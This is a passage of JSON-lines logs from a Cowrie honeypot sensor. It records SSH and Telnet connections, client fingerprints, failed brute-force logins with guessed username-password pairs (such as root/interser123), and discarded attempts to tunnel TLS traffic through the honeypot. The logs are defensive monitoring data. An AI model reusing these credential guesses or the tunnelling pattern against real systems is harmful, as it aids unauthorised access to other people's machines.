{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.864359Z","src_ip":"91.92.40.36","session":"809fe6b84cd2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.884879Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03[\\xbd\\xaeC\\xd1\\xffQqC\\x96\\x8d`\\xaa\\x9c_X.\\xae\\xf84\\xaa\\xa2\\\\\\xfb\\xf8\\xae62\\x1b\\tI\\xf7 \\xae8W\\xe9\\xec}\\xd2\\xf9E\\x00\\xd5@\\x85O`\\xc5T\\x90\\x18\\x02\\xda7\\xd7\\x83\\xe02+,\\x84,\\x9a\\x13\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86Yf\\x07%r\\xa3C\\x1d[\\x84\\x18|p\\xf1U+\\xdb\\xa9\\x03]7\\xe5\\xcc\\xad\\xb0\\x84RCO\\xabb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03[\\xbd\\xaeC\\xd1\\xffQqC\\x96\\x8d`\\xaa\\x9c_X.\\xae\\xf84\\xaa\\xa2\\\\\\xfb\\xf8\\xae62\\x1b\\tI\\xf7 \\xae8W\\xe9\\xec}\\xd2\\xf9E\\x00\\xd5@\\x85O`\\xc5T\\x90\\x18\\x02\\xda7\\xd7\\x83\\xe02+,\\x84,\\x9a\\x13\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86Yf\\x07%r\\xa3C\\x1d[\\x84\\x18|p\\xf1U+\\xdb\\xa9\\x03]7\\xe5\\xcc\\xad\\xb0\\x84RCO\\xabb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.887970Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":49540,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eba5ac226cd","protocol":"ssh","message":"New connection: 150.136.214.177:49540 (10.17.0.5:22) [session: 7eba5ac226cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.936921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.943225Z","src_ip":"150.136.214.177","session":"7eba5ac226cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:21.971104Z","src_ip":"150.136.214.177","session":"7eba5ac226cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.081078Z","src_ip":"91.92.40.36","session":"1402655ade6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interser123","message":"login attempt [root/interser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.116909Z","src_ip":"150.136.214.177","session":"7eba5ac226cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.347587Z","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.583638Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf0\\x07\\x9d\\xf4T}\\xe81* \\x14\\x9aG\\x19Z\\x84\\xc4\\xba\\x96\\x17\\xb7\\xd8\\xe3\\xbf\\xc0\\xf06\\x9dW=-, \\x18\\xc6I\\x85#\\x17\\x81\\x89>\\xea\\xa9\\xa6t\\xcf?\\xa6\\x8b\\xf4\\xce\\xbe<R\\xd4\\xc3;\\xefI\\x00\\x88\\xd5`\\x91\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x0b\\xe91\\xc1\\xa30` <\\x0c\\x0b\\x14E\\xdf\\xe8\\x1e\\xf1\\x8b\\x8bCB\\x1f\\x9b.\\xb6\\t+\\xe6\\xb4\\xeb_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf0\\x07\\x9d\\xf4T}\\xe81* \\x14\\x9aG\\x19Z\\x84\\xc4\\xba\\x96\\x17\\xb7\\xd8\\xe3\\xbf\\xc0\\xf06\\x9dW=-, \\x18\\xc6I\\x85#\\x17\\x81\\x89>\\xea\\xa9\\xa6t\\xcf?\\xa6\\x8b\\xf4\\xce\\xbe<R\\xd4\\xc3;\\xefI\\x00\\x88\\xd5`\\x91\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x0b\\xe91\\xc1\\xa30` <\\x0c\\x0b\\x14E\\xdf\\xe8\\x1e\\xf1\\x8b\\x8bCB\\x1f\\x9b.\\xb6\\t+\\xe6\\xb4\\xeb_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.586633Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567890","message":"login attempt [ubuntu/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.671549Z","src_ip":"45.153.34.195","session":"8ec277562894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:22.957166Z","src_ip":"123.27.168.40","session":"d6ab5c673d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:23.147443Z","src_ip":"150.136.214.177","session":"7eba5ac226cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:23.774421Z","src_ip":"45.153.34.195","session":"8ec277562894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47922,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c98954b0cc3","protocol":"telnet","message":"New connection: 172.81.62.90:47922 (159.203.135.109:23) [session: 4c98954b0cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:24.005569Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56230,"dst_ip":"10.17.0.5","dst_port":22,"session":"990824a6d02a","protocol":"ssh","message":"New connection: 45.153.34.195:56230 (10.17.0.5:22) [session: 990824a6d02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:24.159672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:24.165449Z","src_ip":"45.153.34.195","session":"990824a6d02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:24.246309Z","src_ip":"45.153.34.195","session":"990824a6d02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dst","password":"dst","message":"login attempt [dst/dst] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:24.508620Z","src_ip":"45.153.34.195","session":"990824a6d02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:25.592489Z","src_ip":"45.153.34.195","session":"990824a6d02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41432,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd35ede10924","protocol":"ssh","message":"New connection: 91.92.40.36:41432 (10.17.0.5:22) [session: bd35ede10924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:26.381320Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56256,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e84db3d3c1","protocol":"ssh","message":"New connection: 45.153.34.195:56256 (10.17.0.5:22) [session: e9e84db3d3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:26.949031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:27.047381Z","src_ip":"45.153.34.195","session":"e9e84db3d3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-